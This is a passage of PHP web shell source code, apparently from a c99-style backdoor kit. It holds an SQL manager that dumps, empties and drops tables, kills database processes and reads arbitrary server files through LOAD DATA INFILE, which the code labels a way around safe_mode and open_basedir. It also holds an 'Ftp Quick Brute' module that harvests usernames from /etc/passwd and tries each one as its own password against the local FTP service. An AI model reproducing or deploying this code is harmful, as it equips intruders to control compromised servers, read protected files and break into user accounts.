if ($sql_act == "newtbl") {
|
||
|
||
echo "<b>";
|
||
|
||
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
|
||
|
||
echo "DB \"".htmlspecialchars($sql_newdb)."\" has been
|
||
created with success!</b><br>";
|
||
|
||
}
|
||
|
||
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\
|
||
".<br>Reason:</b> ".mysql_smarterror();}
|
||
|
||
}
|
||
|
||
elseif ($sql_act == "dump") {
|
||
|
||
if (empty($submit)) {
|
||
|
||
$diplay = FALSE;
|
||
|
||
echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\
|
||
" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\">
|
||
<input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars
|
||
($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\
|
||
"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\
|
||
"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\
|
||
"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\">
|
||
<input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars
|
||
($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\
|
||
"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
|
||
|
||
echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\
|
||
"".urlencode($sql_db)."\"><br><br>";
|
||
|
||
$v = join (";",$dmptbls);
|
||
|
||
echo "<b>Only tables (explode \";\") <b><sup>1</sup></
|
||
b>:</b> <input type=\"text\" name=\"dmptbls\" value=\
|
||
"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
|
||
|
||
if ($dump_file) {$tmp = $dump_file;}
|
||
|
||
else {$tmp = htmlspecialchars("./dump_".getenv
|
||
("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
|
||
|
||
echo "<b>File:</b> <input type=\"text\" name=\
|
||
"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) %
|
||
30)."\"><br><br>";
|
||
|
||
echo "<b>Download: </b> <input type=\"checkbox\" name=\
|
||
"sql_dump_download\" value=\"1\" checked><br><br>";
|
||
|
||
echo "<b>Save to file: </b> <input type=\"checkbox\"
|
||
name=\"sql_dump_savetofile\" value=\"1\" checked>";
|
||
|
||
echo "<br><br><input type=\"submit\" name=\"submit\" value=\
|
||
"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
|
||
|
||
echo "</form>";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$diplay = TRUE;
|
||
|
||
$set = array();
|
||
|
||
$set["sock"] = $sql_sock;
|
||
|
||
$set["db"] = $sql_db;
|
||
|
||
$dump_out = "download";
|
||
|
||
$set["print"] = 0;
|
||
|
||
$set["nl2br"] = 0;
|
||
|
||
$set[""] = 0;
|
||
|
||
$set["file"] = $dump_file;
|
||
|
||
$set["add_drop"] = TRUE;
|
||
|
||
$set["onlytabs"] = array();
|
||
|
||
if (!empty($dmptbls)) {$set["onlytabs"] = explode(";
|
||
",$dmptbls);}
|
||
|
||
$ret = mysql_dump($set);
|
||
|
||
if ($sql_dump_download) {
|
||
|
||
@ob_clean();
|
||
|
||
header("Content-type: application/octet-stream");
|
||
|
||
header("Content-length: ".strlen($ret));
|
||
|
||
header("Content-disposition: attachment; filename=\
|
||
"".basename($sql_dump_file)."\";");
|
||
|
||
echo $ret;
|
||
|
||
exit;
|
||
|
||
}
|
||
|
||
elseif ($sql_dump_savetofile) {
|
||
|
||
$fp = fopen($sql_dump_file,"w");
|
||
|
||
if (!$fp) {echo "<b>Dump error! Can't write to \
|
||
"".htmlspecialchars($sql_dump_file)."\"!";}
|
||
|
||
else {
|
||
|
||
fwrite($fp,$ret);
|
||
|
||
fclose($fp);
|
||
|
||
echo "<b>Dumped! Dump has been writed to \
|
||
"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize
|
||
($sql_dump_file)).")</b>.";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {echo "<b>Dump: nothing to do!</b>";}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($diplay) {
|
||
|
||
if (!empty($sql_tbl)) {
|
||
|
||
if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
|
||
|
||
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
|
||
|
||
$count_row = mysql_fetch_array($count);
|
||
|
||
mysql_free_result($count);
|
||
|
||
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;
|
||
");
|
||
|
||
$tbl_struct_fields = array();
|
||
|
||
while ($row = mysql_fetch_assoc($tbl_struct_result))
|
||
{$tbl_struct_fields[] = $row;}
|
||
|
||
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
|
||
|
||
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
|
||
|
||
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
|
||
|
||
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
|
||
|
||
$perpage = $sql_tbl_le - $sql_tbl_ls;
|
||
|
||
if (!is_numeric($perpage)) {$perpage = 10;}
|
||
|
||
$numpages = $count_row[0]/$perpage;
|
||
|
||
$e = explode(" ",$sql_order);
|
||
|
||
if (count($e) == 2) {
|
||
|
||
if ($e[0] == "d") {$asc_desc = "DESC";}
|
||
|
||
else {$asc_desc = "ASC";}
|
||
|
||
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
|
||
|
||
}
|
||
|
||
else {$v = "";}
|
||
|
||
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls."
|
||
, ".$perpage."";
|
||
|
||
$result = mysql_query($query) or print(mysql_smarterror());
|
||
|
||
echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars
|
||
($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]."
|
||
rows)</b></center>";
|
||
|
||
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&
|
||
sql_tbl_act=structure\">[<b> Structure </b>]</a> ";
|
||
|
||
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&
|
||
sql_tbl_act=browse\">[<b> Browse </b>]</a> ";
|
||
|
||
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&
|
||
sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
|
||
|
||
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&
|
||
sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
|
||
|
||
if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</
|
||
b>";}
|
||
|
||
if ($sql_tbl_act == "insert") {
|
||
|
||
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
|
||
|
||
if (!empty($sql_tbl_insert_radio)) { } //Not Ready
|
||
|
||
else {
|
||
|
||
echo "<br><br><b>Inserting row into table:</b><br>";
|
||
|
||
if (!empty($sql_tbl_insert_q)) {
|
||
|
||
$sql_query = "SELECT * FROM `".$sql_tbl."`";
|
||
|
||
$sql_query .= " WHERE".$sql_tbl_insert_q;
|
||
|
||
$sql_query .= " LIMIT 1;";
|
||
|
||
$result = mysql_query($sql_query,$sql_sock) or print("<br>
|
||
<br>".mysql_smarterror());
|
||
|
||
$values = mysql_fetch_assoc($result);
|
||
|
||
mysql_free_result($result);
|
||
|
||
}
|
||
|
||
else {$values = array();}
|
||
|
||
echo "<form method=\"POST\"><table width=\"1%\" border=1><tr>
|
||
<td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>
|
||
Value</b></td></tr>";
|
||
|
||
foreach ($tbl_struct_fields as $field) {
|
||
|
||
$name = $field["Field"];
|
||
|
||
if (empty($sql_tbl_insert_q)) {$v = "";}
|
||
|
||
echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>
|
||
".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs
|
||
[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>
|
||
PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII
|
||
</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</
|
||
option><option>COUNT</option><option>AVG</option><option>SUM</option>
|
||
<option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</
|
||
option><option>UCASE</option><option>NOW</option><option>CURDATE</option>
|
||
<option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</
|
||
option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>
|
||
TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option>
|
||
<option>WEEKDAY</option><option>CONCAT</option></select></td><td><input
|
||
type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\
|
||
"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
|
||
|
||
$i++;
|
||
|
||
}
|
||
|
||
echo "</table><br>";
|
||
|
||
echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value
|
||
=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert
|
||
as new row</b>";
|
||
|
||
if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\"
|
||
name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "
|
||
<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars
|
||
($sql_tbl_insert_q)."\">";}
|
||
|
||
echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>
|
||
";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($sql_tbl_act == "browse") {
|
||
|
||
$sql_tbl_ls = abs($sql_tbl_ls);
|
||
|
||
$sql_tbl_le = abs($sql_tbl_le);
|
||
|
||
echo "<hr size=\"1\" noshade>";
|
||
|
||
echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\"
|
||
width=\"10\" alt=\"Pages\"> ";
|
||
|
||
$b = 0;
|
||
|
||
for($i=0;$i<$numpages;$i++) {
|
||
|
||
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage !=
|
||
$sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."
|
||
&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&
|
||
sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
|
||
|
||
echo $i;
|
||
|
||
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage !=
|
||
$sql_tbl_le)) {echo "</u></a>";}
|
||
|
||
if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
|
||
|
||
else {echo " ";}
|
||
|
||
}
|
||
|
||
if ($i == 0) {echo "empty";}
|
||
|
||
echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\"
|
||
value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\
|
||
"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\"
|
||
value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\
|
||
"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\
|
||
"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\">
|
||
<input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars
|
||
($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\
|
||
"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\"
|
||
value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\
|
||
"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b>&
|
||
nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&
|
||
nbsp;<input type=\"submit\" value=\"View\"></form>";
|
||
|
||
echo "<br><form method=\"POST\"><TABLE cellSpacing=0
|
||
borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000
|
||
borderColorLight=#c0c0c0 border=1>";
|
||
|
||
echo "<tr>";
|
||
|
||
echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\
|
||
"></td>";
|
||
|
||
for ($i=0;$i<mysql_num_fields($result);$i++) {
|
||
|
||
$v = mysql_field_name($result,$i);
|
||
|
||
if ($e[0] == "a") {$s = "d"; $m = "asc";}
|
||
|
||
else {$s = "a"; $m = "desc";}
|
||
|
||
echo "<td>";
|
||
|
||
if (empty($e[0])) {$e[0] = "a";}
|
||
|
||
if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=
|
||
".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&
|
||
sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
|
||
|
||
else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=
|
||
".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&
|
||
sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\"
|
||
height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
|
||
|
||
echo "</td>";
|
||
|
||
}
|
||
|
||
echo "<td><font color=\"green\"><b>Action</b></font></td>";
|
||
|
||
echo "</tr>";
|
||
|
||
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
|
||
|
||
echo "<tr>";
|
||
|
||
$w = "";
|
||
|
||
$i = 0;
|
||
|
||
foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w
|
||
.= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
|
||
|
||
if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
|
||
|
||
echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\
|
||
"".$w."\"></td>";
|
||
|
||
$i = 0;
|
||
|
||
foreach ($row as $k=>$v)
|
||
|
||
{
|
||
|
||
$v = htmlspecialchars($v);
|
||
|
||
if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
|
||
|
||
echo "<td>".$v."</td>";
|
||
|
||
$i++;
|
||
|
||
}
|
||
|
||
echo "<td>";
|
||
|
||
echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode
|
||
($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&
|
||
sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\
|
||
"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\
|
||
"13\" width=\"11\" border=\"0\"></a> ";
|
||
|
||
echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=
|
||
".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=
|
||
".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\
|
||
"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\"
|
||
border=\"0\"></a> ";
|
||
|
||
echo "</td>";
|
||
|
||
echo "</tr>";
|
||
|
||
}
|
||
|
||
mysql_free_result($result);
|
||
|
||
echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\
|
||
"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
|
||
|
||
echo "<option value=\"\">With selected:</option>";
|
||
|
||
echo "<option value=\"deleterow\">Delete</option>";
|
||
|
||
echo "</select> <input type=\"submit\" value=\"Confirm\"></
|
||
form></p>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
|
||
|
||
if (!$result) {echo mysql_smarterror();}
|
||
|
||
else
|
||
|
||
{
|
||
|
||
echo "<br><form method=\"POST\"><TABLE cellSpacing=0
|
||
borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000
|
||
borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\
|
||
"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td>
|
||
<b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified
|
||
</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
|
||
|
||
$i = 0;
|
||
|
||
$tsize = $trows = 0;
|
||
|
||
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
|
||
|
||
{
|
||
|
||
$tsize += $row["Data_length"];
|
||
|
||
$trows += $row["Rows"];
|
||
|
||
$size = view_size($row["Data_length"]);
|
||
|
||
echo "<tr>";
|
||
|
||
echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\
|
||
"".$row["Name"]."\"></td>";
|
||
|
||
echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row
|
||
["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
|
||
|
||
echo "<td>".$row["Rows"]."</td>";
|
||
|
||
echo "<td>".$row["Type"]."</td>";
|
||
|
||
echo "<td>".$row["Create_time"]."</td>";
|
||
|
||
echo "<td>".$row["Update_time"]."</td>";
|
||
|
||
echo "<td>".$size."</td>";
|
||
|
||
echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=
|
||
".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=
|
||
img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=
|
||
\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=
|
||
".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=
|
||
img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\
|
||
"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row
|
||
["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\
|
||
"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
|
||
|
||
echo "</tr>";
|
||
|
||
$i++;
|
||
|
||
}
|
||
|
||
echo "<tr bgcolor=\"000000\">";
|
||
|
||
echo "<td><center><b>+</b></center></td>";
|
||
|
||
echo "<td><center><b>".$i." table(s)</b></center></td>";
|
||
|
||
echo "<td><b>".$trows."</b></td>";
|
||
|
||
echo "<td>".$row[1]."</td>";
|
||
|
||
echo "<td>".$row[10]."</td>";
|
||
|
||
echo "<td>".$row[11]."</td>";
|
||
|
||
echo "<td><b>".view_size($tsize)."</b></td>";
|
||
|
||
echo "<td></td>";
|
||
|
||
echo "</tr>";
|
||
|
||
echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\
|
||
"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
|
||
|
||
echo "<option value=\"\">With selected:</option>";
|
||
|
||
echo "<option value=\"tbldrop\">Drop</option>";
|
||
|
||
echo "<option value=\"tblempty\">Empty</option>";
|
||
|
||
echo "<option value=\"tbldump\">Dump</option>";
|
||
|
||
echo "<option value=\"tblcheck\">Check table</option>";
|
||
|
||
echo "<option value=\"tbloptimize\">Optimize table</option>";
|
||
|
||
echo "<option value=\"tblrepair\">Repair table</option>";
|
||
|
||
echo "<option value=\"tblanalyze\">Analyze table</option>";
|
||
|
||
echo "</select> <input type=\"submit\" value=\"Confirm\"></
|
||
form></p>";
|
||
|
||
mysql_free_result($result);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$acts = array
|
||
("","newdb","serverstatus","servervars","processes","getfile");
|
||
|
||
if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height
|
||
="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?
|
||
php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type
|
||
="hidden" name="sql_act" value="newdb"><input type="hidden" name=
|
||
"sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type
|
||
="hidden" name="sql_passwd" value="<?php echo htmlspecialchars
|
||
($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo
|
||
htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port"
|
||
value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name=
|
||
"sql_newdb" size="20"> <input type="submit" value="Create"></form></
|
||
td><td width="30%" height="1"><b>View File:</b><form action="<?php echo
|
||
$surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden"
|
||
name="sql_act" value="getfile"><input type="hidden" name="sql_login" value=
|
||
"<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name=
|
||
"sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input
|
||
type="hidden" name="sql_server" value="<?php echo htmlspecialchars
|
||
($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo
|
||
htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size
|
||
="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input
|
||
type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr>
|
||
<tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td
|
||
width="30%" height="1"></td></tr></table><?php }
|
||
|
||
if (!empty($sql_act)) {
|
||
|
||
echo "<hr size=\"1\" noshade>";
|
||
|
||
if ($sql_act == "newdb") {
|
||
|
||
echo "<b>";
|
||
|
||
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo
|
||
"DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b>
|
||
<br>";}
|
||
|
||
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
|
||
<br>Reason:</b> ".mysql_smarterror();}
|
||
|
||
}
|
||
|
||
if ($sql_act == "serverstatus") {
|
||
|
||
$result = mysql_query("SHOW STATUS", $sql_sock);
|
||
|
||
echo "<center><b>Server-status variables:</b><br><br>";
|
||
|
||
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000
|
||
borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td>
|
||
</tr>";
|
||
|
||
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>
|
||
".$row[0]."</td><td>".$row[1]."</td></tr>";}
|
||
|
||
echo "</table></center>";
|
||
|
||
mysql_free_result($result);
|
||
|
||
}
|
||
|
||
if ($sql_act == "servervars") {
|
||
|
||
$result = mysql_query("SHOW VARIABLES", $sql_sock);
|
||
|
||
echo "<center><b>Server variables:</b><br><br>";
|
||
|
||
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000
|
||
borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td>
|
||
</tr>";
|
||
|
||
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>
|
||
".$row[0]."</td><td>".$row[1]."</td></tr>";}
|
||
|
||
echo "</table>";
|
||
|
||
mysql_free_result($result);
|
||
|
||
}
|
||
|
||
if ($sql_act == "processes") {
|
||
|
||
if (!empty($kill)) {
|
||
|
||
$query = "KILL ".$kill.";";
|
||
|
||
$result = mysql_query($query, $sql_sock);
|
||
|
||
echo "<b>Process #".$kill." was killed.</b>";
|
||
|
||
}
|
||
|
||
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
|
||
|
||
echo "<center><b>Processes:</b><br><br>";
|
||
|
||
echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333
|
||
border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>
|
||
DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td>
|
||
<td><b>INFO</b></td><td><b>Action</b></td></tr>";
|
||
|
||
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr>
|
||
<td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."
|
||
</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row
|
||
[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\">
|
||
<u>Kill</u></a></td></tr>";}
|
||
|
||
echo "</table>";
|
||
|
||
mysql_free_result($result);
|
||
|
||
}
|
||
|
||
if ($sql_act == "getfile")
|
||
|
||
{
|
||
|
||
$tmpdb = $sql_login."_tmpdb";
|
||
|
||
$select = mysql_select_db($tmpdb);
|
||
|
||
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db
|
||
($tmpdb); $created = !!$select;}
|
||
|
||
if ($select)
|
||
|
||
{
|
||
|
||
$created = FALSE;
|
||
|
||
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in
|
||
safe_mode+open_basedir` LONGBLOB NOT NULL );");
|
||
|
||
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO
|
||
TABLE tmp_file");
|
||
|
||
$result = mysql_query("SELECT * FROM tmp_file;");
|
||
|
||
if (!$result) {echo "<b>Error in reading file (permision denied)!</
|
||
b>";}
|
||
|
||
else
|
||
|
||
{
|
||
|
||
for ($i=0;$i<mysql_num_fields($result);$i++) {$name =
|
||
mysql_field_name($result,$i);}
|
||
|
||
$f = "";
|
||
|
||
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join
|
||
("\r\n",$row);}
|
||
|
||
if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists
|
||
or empty!</b><br>";}
|
||
|
||
else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br
|
||
(htmlspecialchars($f))."<br>";}
|
||
|
||
mysql_free_result($result);
|
||
|
||
mysql_query("DROP TABLE tmp_file;");
|
||
|
||
}
|
||
|
||
}
|
||
|
||
mysql_drop_db($tmpdb);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
echo "</td></tr></table>\n";
|
||
|
||
if ($sql_sock) {
|
||
|
||
$affected = @mysql_affected_rows($sql_sock);
|
||
|
||
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
|
||
|
||
echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></
|
||
tr>";
|
||
|
||
}
|
||
|
||
echo "</table>\n";
|
||
|
||
}
|
||
|
||
//End of SQL Manager
|
||
|
||
if ($act == "ftpquickbrute") {
|
||
|
||
echo "<center><table><tr><td class=barheader colspan=2>";
|
||
|
||
echo ".: Ftp Quick Brute :.</td></tr>";
|
||
|
||
echo "<tr><td>";
|
||
|
||
if ($win) { echo "Can't run on Windows!"; }
|
||
|
||
else {
|
||
|
||
function fx29ftpbrutecheck
|
||
($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
|
||
|
||
if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/
|
||
sbin/nologin")));}
|
||
|
||
else {$TRUE = TRUE;}
|
||
|
||
if ($TRUE) {
|
||
|
||
$sock = @ftp_connect($host,$port,$timeout);
|
||
|
||
if (@ftp_login($sock,$login,$pass)) {
|
||
|
||
echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\
|
||
"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password
|
||
\"".$pass."\"</b></a>.<br>";
|
||
|
||
ob_flush();
|
||
|
||
return TRUE;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!empty($submit)) {
|
||
|
||
if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
|
||
|
||
$fp = fopen("/etc/passwd","r");
|
||
|
||
if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
|
||
|
||
else {
|
||
|
||
if ($fqb_logging) {
|
||
|
||
if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
|
||
|
||
else {$fqb_logfp = FALSE;}
|
||
|
||
$fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date
|
||
("d.m.Y H:i:s")."\r\n\r\n";
|
||
|
||
if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
|
||
|
||
}
|
||
|
||
ob_flush();
|
||
|
||
$i = $success = 0;
|
||
|
||
$ftpquick_st = getmicrotime();
|
||
|
||
while(!feof($fp)) {
|
||
|
||
$str = explode(":",fgets($fp,2048));
|
||
|
||
if (fx29ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str
|
||
[6],$fqb_onlywithsh)) {
|
||
|
||
echo "<b>Connected to ".getenv("SERVER_NAME")." with login \
|
||
"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
|
||
|
||
$fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login
|
||
\"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\
|
||
n";
|
||
|
||
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite
|
||
($fqb_logfp,$fqb_log,strlen($fqb_log));}
|
||
|
||
$success++;
|
||
|
||
ob_flush();
|
||
|
||
}
|
||
|
||
if ($i > $fqb_lenght) {break;}
|
||
|
||
$i++;
|
||
|
||
}
|
||
|
||
if ($success == 0) {echo "No success. connections!"; $fqb_log .=
|
||
"No success. connections!\r\n";}
|
||
|
||
$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
|
||
|
||
echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.):
|
||
".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=
|
||
green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>
|
||
Connects per second: ".round($i/$ftpquick_t,2)."<br>";
|
||
|
||
$fqb_log .= "\r\n------------------------------------------\r\
|
||
